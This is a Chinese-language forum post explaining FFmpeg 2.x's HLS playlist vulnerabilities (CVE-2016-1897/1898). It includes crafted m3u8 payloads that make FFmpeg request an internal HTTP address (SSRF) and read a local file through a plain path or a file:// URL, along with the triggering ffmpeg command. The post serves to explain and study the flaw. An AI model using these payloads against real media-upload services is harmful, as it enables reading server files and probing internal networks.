標題:ffmpeg 任意文件讀取漏洞/SSRF漏洞

taibeihacker

Moderator

ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)​

在FFMpeg2.X 由於在解析HTTP Live Streaming流媒體m3u8文件處理不當,可導致SSRF漏洞與任意文件讀取漏洞。當網站允許用戶上傳多媒體文件,並使用FFMpeg進行處理時會觸發該漏洞。
這個漏洞有兩個CVE編號,分別是CVE-2016-1897和CVE-2016-1898,它們兩個的區別在於讀取文件的行數,CVE-2016-1897只能讀取文件的第一行,而CVE-2016-1898可以讀取文件任意行,原理基本一樣,這裡就一起分析了。

HLS(HTTP Live Streaming)​

由於漏洞是出現在解析HLS流媒體文件出的問題,所以我們必須先了解HLS。
HLS(HTTP Live Streaming)是Apple公司開發的一種基於HTTP協議的流媒體通信協議,大多數都應用在PC上和iphone上。它的基本原理是把一個視頻流分成很多個很小很小很小的ts流文件,然後通過HTTP下載,每次下載一點點。在一個開始一個新的流媒體會話時,客戶端都會先下載一個m3u8(播放列表Playlist)文件,裡麵包含了這次HLS會話的所有數據。
這是youku一個視頻的m3u8文件,內容如下:
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXT-X-VERSION:2
#EXTINF:6,
#EXTINF:0,
#EXT-X-ENDLIST
解析:
#EXTM3U 標籤是m3u8的文件頭,開頭必須要這一行
#EXT-X-TARGETDURATION 表示整個媒體的長度這裡是6秒
#EXT-X-VERSION:2 該標籤可有可無
#EXTINF:6, 表示該一段TS流文件的長度
#EXT-X-ENDLIST 這個相當於文件結束符
這些是m3u8的最基本的標籤,而問題就出在FFMpeg去請求TS流文件的時,由於我們可以偽造一個m3u8文件,FFMpeg不會判斷裡面的流地址,直接請求。

漏洞原理​

SSRF漏洞:
直接用FFMpeg解析一個多媒體文件
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,http://192.168.123.100:8080/1.html
#EXT-X-ENDLIST
(#EXT-X-MEDIA-SEQUENCE或#EXT-X-TARGETDURATION必須存在任意一個,前者是定義ts流文件的序號。去掉會報錯:無效文件)
20190611164804.png-water_print

ffmpeg -i test.m3u8 test.mp4(也可把m3u8格式改成其他後綴,ffmpeg會自動識別為HLS流文件)
20190611164804.png-water_print

以下幾個方式可以讀取文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1,
/home/ctf/flag.txt
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-TARGETDURATION:1
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///home/ctf/flag.txt
#EXT-X-ENDLIST
 
返回
上方